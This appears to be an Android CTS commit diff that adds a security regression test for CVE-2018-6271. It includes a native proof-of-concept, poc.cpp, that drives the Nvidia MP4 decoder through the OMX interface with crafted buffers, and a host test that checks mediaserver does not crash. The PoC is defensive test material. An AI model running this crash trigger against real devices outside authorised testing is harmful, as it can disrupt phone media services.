[RESTRICT AUTOMERGE]: CTS test for Android Security CVE-2018-6271

Bug: 126634840
Bug: 80198474
Bug: 127856694
Test: cts-tradefed run cts -m CtsSecurityBulletinHostTestCases -t android.security.cts.Poc19_02#runPocCVE_2018_6267
Change-Id: Id57dee2e3ec7f6ff3dcdbc30222f13be813c20e6
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index bdd1c6f..654222a 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -114,6 +114,11 @@
          * This binary only exists in 32-bit.
          */
         BINARY_EXCEPTIONS.add("CVE-2018-626732");
+
+        /**
+         * This binary only exists in 32-bit.
+         */
+        BINARY_EXCEPTIONS.add("CVE-2018-627132");
     }
 
     /**
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index b65d6e0..d7f4d95 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -219,6 +219,7 @@
         <option name="cleanup" value="true" />
 
         <option name="push" value="CVE-2018-626732->/data/local/tmp/CVE-2018-6267" />
+        <option name="push" value="CVE-2018-627132->/data/local/tmp/CVE-2018-6271" />
 
         <option name="append-bitness" value="false" />
     </target_preparer>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/Android.mk
new file mode 100644
index 0000000..7a55a33
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/Android.mk
@@ -0,0 +1,50 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-6271
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+
+LOCAL_C_INCLUDES:= \
+    $(TOP)/frameworks/av/include/media/ \
+    $(TOP)/frameworks/av/include/media/stagefright/timedtext \
+    $(TOP)/frameworks/native/include/media/hardware \
+    $(TOP)/frameworks/native/include/media/openmax \
+    $(TOP)/hardware/qcom/media/msm8996/mm-core/inc \
+    $(TOP)/hardware/qcom/display/msm8996/libgralloc \
+    $(TOP)/frameworks/av/media/libstagefright/omx \
+    $(TOP)/frameworks/av/media/libstagefright/ \
+
+LOCAL_SHARED_LIBRARIES := \
+    libstagefright \
+    libstagefright_omx \
+    libstagefright_foundation \
+    libutils \
+    libmedia \
+    liblog \
+    libbinder \
+    libcutils \
+    libui \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/poc.cpp
new file mode 100644
index 0000000..0d1ff08
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6271/poc.cpp
@@ -0,0 +1,179 @@
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <binder/ProcessState.h>
+#include <cutils/properties.h>
+#include <media/IMediaCodecService.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/hardware/HardwareAPI.h>
+#include <media/omx/1.0/WOmx.h>
+#include <media/stagefright/OMXClient.h>
+#include <media/stagefright/foundation/AString.h>
+#include <media/stagefright/omx/OMXUtils.h>
+#include <utils/Log.h>
+#include <utils/NativeHandle.h>
+#include "OMX_Component.h"
+#include "OMX_IndexExt.h"
+#include "OMX_QCOMExtns.h"
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+struct DeathRecipient : public IBinder::DeathRecipient {
+  DeathRecipient() : mDied(false) {}
+  bool mDied;
+  virtual void binderDied(const wp<IBinder> &who __unused) { mDied = true; }
+  bool died() const { return mDied; }
+};
+
+bool connectOMX(sp<IOMX> &omx) {
+  sp<IBinder> binder;
+  sp<IServiceManager> sm = defaultServiceManager();
+
+  binder = sm->getService(String16("media.player"));
+  sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);
+
+  if (binder == NULL) {
+    ALOGE("[-] cannot get the media player service");
+    return false;
+  }
+  omx = service->getOMX();
+  if (omx == NULL) {
+    ALOGE("[-] cannot get the OMX interface");
+    return false;
+  }
+  return true;
+}
+
+int main() {
+  sp<IOMX> service;
+  if (connectOMX(service) == false) {
+    ALOGE("[+] Cannot obtain IOMX from connectOMX");
+    return EXIT_FAILURE;
+  }
+
+  status_t err;
+  sp<IOMXNode> omxNode;
+  int fenceFd = -1;
+  Vector<sp<IMemory>> mInBuffers;
+  Vector<sp<IMemory>> mOutBuffers;
+
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+  const char *codecName = "OMX.Nvidia.mp4.decode";
+
+  AString name(codecName);
+  err = service->allocateNode(name.c_str(), observer, &omxNode);
+  if (err != OK || omxNode == NULL) {
+    ALOGE("[+] Unable to instantiate a %s", name.c_str());
+    return EXIT_FAILURE;
+  }
+
+  // Initiate transition Loaded->Idle
+  err = omxNode->sendCommand(OMX_CommandStateSet, OMX_StateIdle);
+  if (err != OK) {
+    ALOGE("sendCommand, err: %d", err);
+    return EXIT_FAILURE;
+  }
+
+  OMX_PARAM_PORTDEFINITIONTYPE def;
+  InitOMXParams(&def);
+  def.nPortIndex = 0;
+  OMX_INDEXTYPE omx_indextype = OMX_IndexParamPortDefinition;
+  err = omxNode->getParameter(omx_indextype, &def, sizeof(def));
+  if (err != OK) {
+    ALOGI("port 0: %u buffers of size 0x%x", def.nBufferCountActual,
+            def.nBufferSize);
+    return EXIT_FAILURE;
+  }
+
+  int inMemSize = def.nBufferCountActual * def.nBufferSize;
+  int inBufferCnt = def.nBufferCountActual;
+  int inBufferSize = inMemSize / inBufferCnt;
+  sp<MemoryDealer> dealerIn = new MemoryDealer(inBufferSize);
+  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+  InitOMXParams(&def);
+  def.nPortIndex = 1;
+  err = omxNode->getParameter(omx_indextype, &def, sizeof(def));
+  if (err != OK) {
+    ALOGI("port 1: %u buffers of size 0x%x", def.nBufferCountActual,
+            def.nBufferSize);
+    return EXIT_FAILURE;
+  }
+
+  int outMemSize = def.nBufferCountActual * def.nBufferSize;
+  int outBufferCnt = def.nBufferCountActual;
+  int outBufferSize = outMemSize / outBufferCnt;
+  sp<MemoryDealer> dealerOut = new MemoryDealer(outBufferSize);
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+  sp<IMemory> inMemory = dealerIn->allocate(inBufferSize);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    memset(inMemory->pointer(), 0x7c, inBufferSize);
+    OMXBuffer omxbuffer(inMemory);
+    mInBuffers.push(inMemory);
+    err = omxNode->useBuffer(0, omxbuffer, &inBufferId[i]);
+    if (err != OK) {
+      ALOGE("port 0 err: %d useBuffer,inBufferId[%d]: %d,inBufferSize=%d", err, i,
+              inBufferId[i], inBufferSize);
+      return EXIT_FAILURE;
+    }
+  }
+
+  sp<IMemory> outMemory = dealerOut->allocate(outBufferSize);
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    memset(outMemory->pointer(), 0x2f, outBufferSize);
+    OMXBuffer omxbuffer(outMemory);
+    mOutBuffers.push(outMemory);
+    err = omxNode->useBuffer(1, omxbuffer, &outBufferId[i]);
+    if (err != OK) {
+      ALOGE("port 1 err: %d useBuffer,outBufferId[%d]: %d,outBufferSize=%d", err,
+              i, outBufferId[i], outBufferSize);
+      return EXIT_FAILURE;
+    }
+  }
+
+  err = omxNode->sendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+  if (err != OK) {
+    ALOGE("sendCommand, err: %d", err);
+    return EXIT_FAILURE;
+  }
+
+  sleep(5);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    OMX_U32 flags = OMX_BUFFERFLAG_EXTRADATA;
+    int64_t timeUs = 0x00010001;
+    OMXBuffer omxbuffer(0, inBufferSize);
+    err = omxNode->emptyBuffer(inBufferId[i], omxbuffer, flags, timeUs, fenceFd);
+    if (err != OK) {
+      ALOGE("emptyBuffer, err: %d", err);
+      return EXIT_FAILURE;
+    }
+  }
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    err = omxNode->fillBuffer(outBufferId[i], OMXBuffer::sPreset);
+    if (err != OK) {
+      ALOGE("fillBuffer, err: %d", err);
+      return EXIT_FAILURE;
+    }
+  }
+
+  omxNode->freeNode();
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java
index a863c0e..9f405bf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java
@@ -31,4 +31,15 @@
         String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
         assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<", logcat);
     }
+
+    /**
+     * b/80198474
+     */
+    @SecurityTest(minPatchLevel = "2019-02")
+    public void testPocCVE_2018_6271() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPocNoOutput("CVE-2018-6271", getDevice(), 60);
+        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<", logcat);
+    }
 }